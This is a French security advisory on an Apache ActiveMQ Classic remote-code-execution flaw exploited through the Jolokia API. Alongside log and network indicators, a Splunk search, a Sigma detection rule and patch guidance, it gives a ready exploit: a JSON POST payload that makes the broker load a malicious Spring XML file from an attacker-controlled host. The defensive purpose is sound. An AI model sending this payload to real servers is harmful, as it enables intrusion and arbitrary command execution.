Indicateurs de logs
Rechercher dans activemq.log :
Establishing network connection from vm://localhost to vm://rce?create=true&brokerConfig=xbean:http://
CVE-2026-34197 identifie un défaut d’exécution de code à distance (RCE) dans Apache ActiveMQ Classic. En invoquant des opérations de gestion via l’API Jolokia, un attaquant force le broker à charger et exécuter un fichier de configuration Spring XML distant, entraînant l’exécution de commandes OS arbitraires. Cette vulnérabilité existe dans le codebase depuis environ 13 ans.
Apache ActiveMQ Classic est un broker de messages Java largement déployé dans les environnements d’entreprise. CVE-2026-34197 expose un chemin critique d’RCE en abusant de l’opération addNetworkConnector(String) sur le MBean du broker. La vulnérabilité permet à un attaquant authentifié - ou non authentifié sur des versions spécifiquement mal configurées - de forcer le broker à charger une configuration Spring XML distante contrôlée par l’attaquant, déclenchant l’exécution de commandes arbitraires via MethodInvokingFactoryBean de Spring.
Le broker ActiveMQ Classic expose une console web sur le port 8161, qui inclut Jolokia, un pont HTTP-vers-JMX. Historiquement, les correctifs de sécurité ont tenté de restreindre Jolokia aux opérations en lecture seule pour les MBeans dangereux, mais ont fourni une autorisation globale pour les propres MBeans d’ActiveMQ.
La vulnérabilité découle de cette autorisation operation=* sur le MBean du broker ActiveMQ. Un attaquant appelle addNetworkConnector avec un URI forgé. Le transport VM (vm://) d’ActiveMQ utilise ensuite cet URI pour instancier un broker, acceptant un paramètre brokerConfig qui prend en charge les fichiers XML Spring externes via xbean:http://.
L’exploitation implique une requête POST vers le point de terminaison de l’API Jolokia.
Préparer un fichier Spring XML malveillant sur un serveur distant accessible par le broker cible.
Envoyer une requête POST vers http://CIBLE:8161/api/jolokia/ avec le payload JSON suivant :
{ "type": "exec", "mbean": "org.apache.activemq:type=Broker,brokerName=localhost", "operation": "addNetworkConnector", "arguments": ["static:(vm://rce?brokerConfig=xbean:http://ATTAQUANT_IP:8888/payload.xml)"]}Le broker tente d’établir une connexion réseau en utilisant l’URI vm:// fourni.
La méthode BrokerFactory.createBroker() traite le brokerConfig, chargeant et exécutant le XML Spring malveillant, qui déclenche la commande définie dans MethodInvokingFactoryBean.
L’analyse des logs du broker et du comportement des processus est requise.
Indicateurs de logs
Rechercher dans activemq.log :
Establishing network connection from vm://localhost to vm://rce?create=true&brokerConfig=xbean:http://
Indicateurs réseau
Identifier les requêtes HTTP sortantes inattendues depuis le processus Java ActiveMQ vers des adresses IP externes.
Indicateurs API
Analyser les logs du serveur web pour les requêtes POST vers /api/jolokia/ contenant addNetworkConnector dans le corps de la requête.
La chasse aux menaces (threat hunting) nécessite l’identification du motif spécifique utilisé dans la tentative d’exploitation.
index=activemq_logs "vm://rce?create=true&brokerConfig=xbean:http://"title: Potential Apache ActiveMQ RCE via Jolokiadescription: Detects exploitation of CVE-2026-34197 via Jolokia addNetworkConnectorlogsource: product: activemqdetection: selection: message|contains: 'vm://rce?create=true&brokerConfig=xbean:http://' condition: selectionlevel: criticalMettre à jour vers les versions 5.19.4 ou 6.2.3 d’Apache ActiveMQ Classic. Ces versions suppriment la capacité de addNetworkConnector à ajouter des transports vm://. De plus, s’assurer que la console web est sécurisée et que les identifiants par défaut sont modifiés.